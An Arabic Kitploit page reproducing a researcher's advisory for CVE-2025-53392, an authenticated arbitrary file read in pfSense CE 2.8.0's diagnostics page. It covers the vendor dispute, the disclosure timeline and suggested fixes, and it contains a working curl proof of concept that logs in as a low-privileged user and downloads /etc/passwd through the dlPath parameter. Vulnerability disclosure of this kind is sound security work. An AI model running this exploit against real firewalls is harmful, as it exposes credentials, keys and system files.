Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pfsense-security-research — قراءة ملفات تعسفية بعد المصادقة في pfSense 2.8.0 عبر واجهة الويب للتشخيص (CVE-2025-53392) | Kitploit
أدوات/GitHubGitHub/skraft9/pfsense-security-research
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHubskraft9/pfsense-security-research

pfsense-security-research

قراءة ملفات تعسفية بعد المصادقة في pfSense 2.8.0 عبر واجهة الويب للتشخيص (CVE-2025-53392)

عرض المستودع
14منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

قراءة ملفات تعسفية بعد المصادقة في pfSense 2.8.0 عبر واجهة ويب التشخيص

معرّف CVE: CVE-2025-53392

التاريخ: 2025-06-27

المؤلف: Seth Kraft

الصفحة الرئيسية للبائع: https://www.netgate.com/

سجل تغييرات البائع: https://docs.netgate.com/pfsense/en/latest/releases/

رابط البرنامج: https://www.pfsense.org/download/

الإصدار: pfSense CE 2.8.0

معرّف CWE: CWE-36 (اجتياز المسار المطلق)

النتيجة الأساسية CVSS: 6.5 (متوسط)

المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

النوع: قراءة ملفات تعسفية بعد المصادقة / كشف ملفات محلية


التفويض

لأغراض الاختبار والبحث المصرّح بها فقط. لا تختبر أو تستغل هذه الثغرة على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.


الملخص

يحتوي pfSense CE 2.8.0 على ثغرة كشف ملفات محلية في صفحة التشخيص diag_command.php، والتي تسمح للمستخدمين الموثّقين بتنزيل ملفات عشوائية من نظام الملفات الأساسي.

تفتقر هذه الوظيفة إلى أي تنقية للمسار، أو تقييد للدليل، أو ضوابط وصول تتجاوز تعيين الصلاحيات.


التفاصيل

يقع المنطق المعرّض للثغرة في الملف src/usr/local/www/diag_command.php:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

لا توجد أي فحوصات أمنية أو إجراءات تنقية مطبّقة على المعامل dlPath الذي يتحكم فيه المستخدم.

سيتم إرسال أي مسار ملف يمكن لعملية PHP قراءته إلى المستخدم.


إثبات المفهوم

أنشئ مجموعة low-priv وعيّن صلاحية واحدة (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

ورغم أنني أقرّ بوجود إخلاء مسؤولية أمني لصلاحية WebCfg - Diagnostics: Command، فإن إخلاءات المسؤولية وحدها لا تعوّض ضوابط الوصول السليمة.

عبارة "السماح بالوصول إلى صفحة أوامر التشخيص" غامضة وتقلل من خطورة المخاطر؛ فهي تتيح تنفيذ أوامر غير مقيد على مستوى الجذر، وليس مجرد وصول تشخيصي.

يجب أن تعكس تسميات الصلاحيات في واجهة الويب بدقة نطاق وخطورة الإجراءات التي تسمح بها، خاصة عندما تكشف عن تحكم إداري كامل.

عيّن مجموعة low-priv للمستخدم dev Screenshot 2025-06-27 133218

يُظهر إثبات المفهوم هذا أن المستخدم الذي لديه صلاحية WebCfg - Diagnostics: Command فقط يمكنه تسريب /etc/passwd عبر إساءة استخدام المعامل dlPath غير المنقّى.

root@kitploit:~
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

عرض توضيحي

pfSense-authenticated-file-disclosure-poc


الأثر

يمكن لأي مستخدم pfSense مُنح صلاحية WebCfg - Diagnostics: Command أن:

  • يقرأ ملفات النظام المحلية الحساسة
  • يستخرج النسخ الاحتياطية وبيانات الاعتماد والمفاتيح
  • يصل إلى ملفات تتجاوز بكثير صلاحياته المقصودة

ينتهك هذا مبدأ الامتياز الأقل ويكسر الحدود المنطقية للصلاحيات.


التخفيف المقترح

  1. قيّد dlPath على دليل أساسي آمن (مثل /tmp) باستخدام realpath() وفرض البادئة
  2. استبعد أو احظر المسارات التي تحتوي على .. أو المسارات المطلقة
  3. اسمح فقط بتنزيل الملفات الموجودة في قائمة آمنة أو دليل Artifacts مؤقت

الجدول الزمني للإفصاح

  • 2025-06-26: تم الإبلاغ عن الثغرة إلى Netgate
  • 2025-06-27: استجابت Netgate برفض المشكلة باعتبارها سلوكًا مقصودًا
  • 2025-06-27: رد الباحث بحجة تقنية، وأعاد البائع تأكيد الرفض
  • 2025-06-27: بدأ الباحث الإفصاح العام بسبب الرفض النهائي من البائع، وطلب تعيين CVE من MITRE
  • 2025-06-28: عيّنت MITRE CVE-2025-53392 مع وسم "متنازع عليه من البائع"

رد Netgate

في حين يؤكد البائع أن الوصول إلى هذه الصفحة يعادل صلاحيات الجذر، فإن هذا يخلط بين صلاحيات مستوى الويب والوصول غير المقيد إلى الواجهة الخلفية.

يجب فرض الصلاحيات تقنيًا (وليس افتراضها)، والتحذيرات في الواجهة ليست بديلاً عن التصميم الآمن.


بمناقشة ادعاء البائع بأن هذه الوظيفة "موثقة جيدًا" - لم أجد أي ذكر في وثائق صلاحيات المستخدم في pfSense يوضح أن صلاحية WebCfg - Diagnostics: Command تعادل وصولًا على مستوى الجذر. Screenshot 2025-06-28 235613


ربما كان البائع يشير إلى صفحة أوامر التشخيص، والتي تتضمن تحذيرًا عامًا بشأن إساءة الاستخدام.

لكن الوثائق لا تربط هذه الوظيفة صراحةً بصلاحية WebCfg - Diagnostics: Command أو توضح أنها تمنح وصولًا على مستوى الجذر.


التوقعات الأمنية لواجهات التشخيص

يجب أن تحتوي وحدة التشخيص في واجهة الويب لجدار الحماية على ضمانات مناسبة لمنع إساءة الاستخدام ضد نظام التشغيل الأساسي.

  • يجب أن تكون أوامر التشخيص محدودة وظيفيًا بـ ping وtraceroute وعرض السجلات وما إلى ذلك.
  • يجب أن تعمل الأوامر داخل غلاف مقيد أو chroot.
  • يجب أن يكون الوصول إلى الملفات محددًا صراحةً بالدلائل الآمنة (/tmp, /var/log).
  • يجب أن تكون الصلاحيات دقيقة وواضحة النطاق.

إخلاء مسؤولية

أُجري هذا العمل خارج نطاق وظيفتي ويعكس جهودي الشخصية في مجال أبحاث أمن المعلومات.


تنزيل الأداة